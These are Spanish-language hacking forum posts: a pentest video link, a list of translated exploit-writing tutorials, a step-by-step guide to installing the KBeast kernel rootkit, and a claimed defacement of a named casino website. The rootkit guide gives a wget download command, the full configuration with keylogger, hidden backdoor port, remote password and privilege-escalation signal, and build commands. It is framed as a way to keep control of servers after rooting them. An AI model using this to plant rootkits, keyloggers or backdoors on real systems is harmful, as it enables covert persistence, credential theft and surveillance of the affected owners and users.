Dando vueltas por vimeo, me paso por el canal de offensive security y me encuentro con un completo video en el que los chicos graban la realizacion desde cero del proceso de pentesting llevado a cabo en el mundo real. Aunque el material no es reciente y lleva mas de un año, lo expongo por que le va a venir al pelo a mas de uno, como orientacion en la metodologia de seguridad.

Video:

Enlace de Descarga del video : No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Saludos!
#38
La verdad que hacia rato que andaba buscando algo como esto, da bastante paja leer estos articulos directamente en ingles y aun mas si tener un conocimiento adecuado del idioma :), pero navengando por ahi, me encuentro con unos articulos interesantisimos, de echo es algo de lo que se habla muy poco en los blogs, foros, pdf's de habla hispana, es un tema tambien que mete miedo, pero es vital para expandir conocimientos y nivelear en este mundo (?)...

Creación de Exploits por corelanc0d3r traducidos por Ivinson
Creación de Exploits 1: Desbordamiento de Stack por corelanc0d3r traducido por Ivinson
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
 
Creación de Exploits 2: Desbordamiento de Stack  por corelanc0d3r traducido por Ivinson
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
 
Creación de Exploits  3: SEH  por corelanc0d3r traducido por Ivinson
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
 
Creación de Exploits 3b: SEH  por corelanc0d3r traducido por Ivinson
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Creacion de Exploits 4: De Exploit a Metasploit por corelanc0d3r traducido por Ivinson
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
 
Creación de Exploits 5:  Acelerar el Proceso con Plugins y módulos por corelanc0d3r traducido por Ivinson
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
 
Exploits Evitando SEHOP por SYSDREAM IT Security Services traducido por Ivinson
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
 
Creación de Exploits 6: Cookies del Stack SafeSEH, SEHOP, HW DEP y ASLR  por corelanc0d3r traducido por Ivinson
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
 
Creación de Exploits 7: Unicode -  De 0×00410041 a la Calc  por corelanc0d3r traducido por Ivinson
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Creación de Exploits 8: Cacería de Huevos en Win32 por corelanc0d3r traducido por Ivinson
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Creacion de Exploits 9: Introducción al Shellcoding en  Win32 por corelanc0d3r traducido por Ivinson
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Creación de Exploits 10: Uniendo DEP con ROP - El Cubo de Rubik [TM] por corelanc0d3r traducido por Ivinson.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Fuente: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


PD: No duermo en toda la noche! XD
#39
Bugs y Exploits / [KBEAST] Plantando un Rootkit
Octubre 02, 2012, 09:36:10 PM
Siempre es conveniente asegurarse el silencio luego de una intrusion, y con que me refiero al silencio? Ademas de entrar en el tema de borrado de huellas, me refiero a la accion de dejar un secuas en el servidor que se encargue de ocultar ciertos procesos, archivos, etc que dejemos en el target para esto voy a utilizar a KBeast que es un rootkit 2011, ademas de uno de mis preferidos, tiene soporte para los kernel 2.6.18 y 2.6.32,y presenta varias funcionalidades interesantes como:

-Ocultar archivos y directorios

-Ocultar procesos de (ps, pstree, top, lsof)

- Ocultar puertos locales abiertos (backdoors)

-Viene con un modulo keylogger incorporado para capturar las pulsaciones.

-Anti-kill para procesos

-Anti-remove para archivos

-Trae un backdoor bind incorporado

- Tambien se encarga de esconder ciertos modulos cargando en el kernel ademas de un anti-remove para estos.


bastante completita la basura!, demas esta decir que requerimos de privilegios de usuario root, en este caso lo voy a realizar en un debian con un kernel 2.6.32 (entorno controlado)

descargamos el rootkit.

Código: bash
wget http://core.ipsecs.com/rootkit/kernel-rootkit/ipsecs-kbeast-v1.tar.gz





una vez extraido nos encontramos con varios files, tendremos que editar a nuestro antojo el archivo de configuracion config.h


Código: text
/*
Kernel Beast Ver #1.0 - Configuration File
Copyright Ph03n1X of IPSECS (c) 2011
Get more research of ours http://ipsecs.com
*/

/*Don't change this line*/
#define TRUE 1
#define FALSE 0

/*
Enable keylog probably makes the system unstable
But worth to be tried
*/
#define _KEYLOG_ TRUE

/*Define your module & network daemon name*/
#define KBEAST "kbeast"

/*
All files, dirs, process will be hidden
Protected from deletion & being killed
*/
#define _H4X0R_ "_h4x_"

/*
Directory where your rootkit will be saved
You have to use _H4X0R_ in your directory name
No slash (/) at the end
*/
#define _H4X_PATH_ "/usr/_h4x_"

/*
File to save key logged data
*/
#define _LOGFILE_ "acctlog"

/*
This port will be hidded from netstat
*/
#define _HIDE_PORT_ 13377

/*
Password for remote access
*/
#define _RPASSWORD_ "h4x3d"
#define _MAGIC_NAME_ "bin"
/*
Magic signal & pid for local escalation
*/
#define _MAGIC_SIG_ 37 //kill signal
#define _MAGIC_PID_ 31337 //kill this pid


prosigo a explicar la funcion de cada linea en el fichero de configuracion.


1- La primera linea la dejamos tal cual esta

2- la segunda se encarga de activar el modulo keylogger del rootkit en caso contrario escribimos

Código: text
#define _KEYLOG_ FALSE



3- se encarga de darle el nombre al daemon rootkit


Código: text
#define KBEAST "q3rv0"


4 - En esta linea vamos a incluir los ficheros y directorios que queremos que sean protegidos por el anti-remove.

Código: text
#define _H4X0R_ "/home/q3rv0/protect/q3rv0.txt"


5- Define el directorio donde se guardara KBeast

Código: text
#define _H4X_PATH_ "/usr/share/kbeast"



6 - Aca especificamos el nombre del fichero de log donde van a ir a parar las pulsasiones capturadas por el keylogger

Código: text
#define _LOGFILE_ "acctlog"


7- El puerto que estara hide a la vista de los comandos anteriormente mencionados.

Código: text
#define _HIDE_PORT_ 6666


8- Incluimos el password para el acceso con el backdoor.

Código: text
#define _RPASSWORD_ "q3rv0"
#define _MAGIC_NAME_ "bin"


Habiendo terminado de configurar el ficherito, que bastante intuitivo es, si me saltee la 9, pero esa la dejo tal cual esta.


Procedemos a lanzar el rootkit de la siguiente manera.

En los kernel 2.6.18

Código: bash
./setup buil 0


En los 2.6.32 como es mi caso

Código: bash
./setup build






Vemos que se compilo exitosamente en el nucleo sin ningun error, ahora vamos a comprobar si cumple con nuestras espectativas.

-Verificando la proteccion anti-remove de ficheros




- Directorio donde se guarda el rootkit en el systema




- Pulsaciones capturadas por el modulo keylogger...
  El fichero de log se guarda en el directorio donde le indicamos que se guarde el rootkit.





- Port 6666 Hide




- Accediendo al sistema a travez del backdoor en el puerto 6666




- oka, para remover el rootkit del kernel solo basta realizar un:

Código: bash
./setup clean





Espero que lo hayan disfrutado y cada vez que rooteen un server acuerdense de kbeast :)


Saludos!











#40
Hacking ShowOff / Deface casinogoldenpalace.com.ar
Septiembre 19, 2012, 09:24:10 AM
Motivos?

- Negocios turbios

- Tráfico de Drogas Y Trata de menores

"EL VERDADERO MUNDO DETRÁS DE LA PANTALLA DE LUCES Y TRAGAPERRAS"



No tienes permitido ver los links. Registrarse o Entrar a mi cuenta